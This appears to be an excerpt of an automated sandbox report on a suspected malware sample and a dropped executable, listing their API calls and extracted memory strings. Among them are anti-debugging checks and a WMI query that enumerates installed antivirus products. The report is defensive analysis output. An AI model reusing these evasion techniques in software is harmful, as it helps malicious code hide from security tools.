Code function: 2_2_002E20D0 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

2_2_002E20D0

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_0019A937 GetProcessHeap,

2_2_0019A937

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_00198E19 SetUnhandledExceptionFilter,	2_2_00198E19
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_00198E3C SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00198E3C
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009D8E19 SetUnhandledExceptionFilter,	9_2_009D8E19
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009D8E3C SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_009D8E3C

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001ABE95 LogonUserW,

2_2_001ABE95

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_0017374E GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,

2_2_0017374E

Source: ._cache_AYRASY.exe, 00000002.00000002.3412593994.0000000001446000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^wmi.execquery(select * from antivirusproduct);	memstr_bf895f82-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4gf0ps7b8pb2bx2j	memstr_3c2463c1-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b2kv4rk7iu5k	memstr_b49c579c-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d8vw0fa6g	memstr_5bb2bd9f-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d6vk9ij3sk4v	memstr_dab2e734-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e3gw0mn6cg4i3lu1wa5z	memstr_50775688-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d8yw6wo4nn6t	memstr_1672cb53-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u8yy7rs5rc1co	memstr_6c562173-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e3gw0mn6cg4i3lu1wa5zf	memstr_d1d15c62-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e3gw0mn6cg4i3lu1wa5za	memstr_202a37f5-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4gf0ps7b8pb2bx2j1c4vx	memstr_59203cc7-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d6vk9ij3sk4vs	memstr_56f594d1-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u8yy7rs5rc1ce	memstr_33ff97d2-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e3gw0mn6cg4i3lu1wa5z6t\	memstr_c73471ed-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d8yw6wo4nn6tw	memstr_a90633b1-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4gf0ps7b8pb2bx2j1c.	memstr_6ffdc43e-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e3gw0mn6cg4i3lu1wa5z5k)	memstr_a5d089ea-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u8yy7rs5rc1c	memstr_5e0c15ed-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u1ql7cn9w;	memstr_92eeb600-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4gf0ps7b8pb2bx2j2	memstr_d5035574-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u8qw3xh1f	memstr_8e0f1c7e-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0xt2ey8sh8u4ps5li7qu5m	memstr_5a4919a7-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0xt2ey8sh8u6xs5ti6z	memstr_aa9ba1df-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v9sn9ql6ij9hyu2yu7gr8m	memstr_c253fc15-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d6du1gd4s	memstr_06f34736-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405034j188405034	memstr_64e12131-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d7de0rp8x	memstr_8b95b297-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u4gn4jh0p	memstr_dcd6e600-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4gf0ps7b8uv3ry1i6z	memstr_2ac00dff-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v9sn9ql6ij9hqr6ch4f	memstr_64ed0582-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v9sn9ql6ij9hyu2yu7gr8mj	memstr_994b45fb-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4gf0ps7b8uv3ry1i4se	memstr_209ede5b-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u8qw3xh1f\|	memstr_ecfb5b5a-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405034j188405035w	memstr_02cb4cf9-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405077j188405108n	memstr_6ac1c044-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0xt2ey8sh8u9ff9as0bi	memstr_01283ce8-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4gf0ps7b8uv3ry1i@	memstr_9a984167-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405077j188405108[	memstr_b8003d77-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d6du1gd4sr	memstr_9b97b15d-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u1ql7cn9w8xm-	memstr_2cf2341c-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405094j188405047?	memstr_d0214b38-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b9yg3jv6rv9l6	memstr_f48aa222-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g0dd2df3f1xo2za0wc8o1	memstr_16b10a06-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405035j188405091v9l	memstr_b53d3156-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405095j188405083	memstr_f463f09f-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b9yg3jv6rv9l	memstr_402898d9-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g0dd2df3f9vk4bx1qk1n	memstr_ae8f4748-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u5uk0yu1o6rv9l	memstr_15b95336-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u5uk0yu1o	memstr_19d7ae6d-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b4qe2ec4s	memstr_4dd54b9a-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b8be0eb6ed5w	memstr_0d435c1d-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405035j188405091	memstr_84d1b5e2-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405095j1884050485w	memstr_e7ecd30d-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b8be0eb6ed5wn	memstr_6b198eff-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405095j188405048i	memstr_3a11afce-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9cw2an8pus7og6rs7nj5y`	memstr_cb638f4f-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b2kv4rk7iu5k{	memstr_e4e603a5-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d7de0rp8xr	memstr_770176b0-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405035j188405091m	memstr_553b43f0-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g0dd2df3f1xo2za0wc8od	memstr_8179c8dd-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b4qe2ec4s9l_	memstr_2c8edfbe-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405035j188405091d5wv	memstr_77965edc-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4gf0ps7b0bz5dg1cl1jq	memstr_15b4e56a-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b3pm7iq9wj5y(	memstr_dc515d88-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d3ui1ji9st7j#	memstr_c6a19fc6-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4gf0ps7b8pb2bx2j:	memstr_ae57bcc1-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u5uk0yu1o5	memstr_1e7a146a-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b3pm7iq9wj5y	memstr_38ce1b3a-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0xt2ey8sh8u8fg7cf9tq7w	memstr_cc5f3911-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9cw2an8pus7og6rs7n	memstr_04a65cc2-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d3ui1ji9st7j	memstr_f7d499b1-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405094j188405047	memstr_33cd4534-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b0ys9gf9j	memstr_77badf8b-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u5uk0yu1o9wj5y	memstr_91fc7a27-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u1ql7cn9w	memstr_b1350449-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g0dd2df3f9vk4bx1qk1n9l	memstr_fb9cfc7f-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b9yg3jv6rv9lm	memstr_825ec8b1-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g0dd2df3f1xo2za0wc8od	memstr_fb70260c-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d3ui1ji9st7jv	memstr_52d19156-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4gf0ps7b0bz5dg1cl1j7jq	memstr_55ddffba-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g0dd2df3f6xm8dx6ss6h5kh	memstr_9dbd7799-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b8be0eb6ed5wc	memstr_ddbe6f5d-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b0ys9gf9j7jz	memstr_5771f26a-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405035j188405091,	memstr_c78f9d2e-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405035j188405091'	memstr_52fa2c0a-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4gf0ps7b0bz5dg1cl1j>	memstr_2a6d28c7-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d3ui1ji9st7j9	memstr_96e72947-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b3pm7iq9wj5y0	memstr_afe7401e-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g0dd2df3f1xo2za0wc8o	memstr_f2b6f57f-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u3vh1ra2f	memstr_35c43efc-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g0dd2df3f6xm8dx6ss6hh	memstr_8fd27a29-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u3vh1ra2fc	memstr_27e3b4fd-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u3vh1ra2f1vz	memstr_9a540491-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u1yc8yb9qc1vu	memstr_76ac4095-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u1yc8yb9qc1vg	memstr_9638aba3-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u1yc8yb9qc1v^	memstr_4b0407b3-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e3gw0mn6cg4i3lu1wa5zy	memstr_4a9c3358-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e3gw0mn6cg4i3lu1wa5zp	memstr_827bae13-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u3vh1ra2f+	memstr_8478844c-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g0dd2df3f6xm8dx6ss6h"	memstr_63046563-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u3vh1ra2f1v=	memstr_0e523928-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u1yc8yb9qc1v4	memstr_b73afe27-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u3vh1ra2f5z	memstr_be7ce4d8-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g0dd2df3f6xm8dx6ss6h	memstr_f8b62253-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4ha7yg1wr6g6ll0mz2xd8w	memstr_e7e267b4-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d4vt8bo4dw2e	memstr_be00b066-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g0dd2df3f9bp7re7uz5j	memstr_3d39a41b-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b8xm3wv3ch8q	memstr_f632f466-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u4fa4dt2h2xd8wl	memstr_3b563a6b-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u4fa4dt2hg	memstr_fcce2dc6-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4ha7yg1wr6g6ll0mz2xd8wy	memstr_9499442c-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u4fa4dt2h4dw2ep	memstr_640cec16-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v4mq1xs3or6b8xm3wv3ch8qk	memstr_4263e281-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u1ql7cn9w5jb	memstr_642bd541-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4ha7yg1wr6g6ll0mz2xd8w]	memstr_4445ae30-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4ha7yg1wr6g6ll0mz2xd8wt	memstr_7c454cb3-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g0dd2df3f9bp7re7uz5j8w/	memstr_7697d3eb-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g0dd2df3f9bp7re7uz5j!	memstr_a9dfab06-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4ha7yg1wr6g6ll0mz2xd8w8	memstr_734509d5-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u4fa4dt2h4dw2e3	memstr_53fa22aa-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u1ql7cn9w2xd8w	memstr_dbda75e3-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u1yc8yb9qc1v	memstr_35e1cf87-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u4fa4dt2h	memstr_d9b5dc57-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0xt2ey8sh8u5oh9vd4lg4x	memstr_e9d1526b-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d0jj9wj2sx5x	memstr_a2b56927-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u5zq7er7zz5t5x	memstr_515c6b1e-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u8yy7rs5rc1c	memstr_51e3e1f8-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d6vk9ij3sk4vk	memstr_4342b25e-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0xt2ey8sh8u3ln6ei5n}	memstr_f54a21e3-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u4fa4dt2ho	memstr_9a001174-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0xt2ey8sh8u3ln6ei5nf	memstr_c91ce69f-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0xt2ey8sh8u3ln6ei5na	memstr_4c89b0cc-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u5oa0il8dv6xx	memstr_11c0100d-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e3gw0mn6cg4i7tr7nj9bs	memstr_6eec7023-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d6vk9ij3sk4v*	memstr_24439022-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d6vk9ij3sk4v%	memstr_f1e2e45c-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405034j1884050374v<	memstr_c7e3ac08-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u5zq7er7zz5tr7	memstr_e448ee8c-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l6hm3aj4fx2d6vk9ij3sk4v	memstr_4801fed1-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u1ql7cn9w5t	memstr_e9cf7efb-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u5zq7er7zz5t4v	memstr_08f1b707-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0fx5js0u5zq7er7zz5t	memstr_f4e51c96-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e3gw0mn6cg4i8bx1zm7w	memstr_e1ec11f9-d
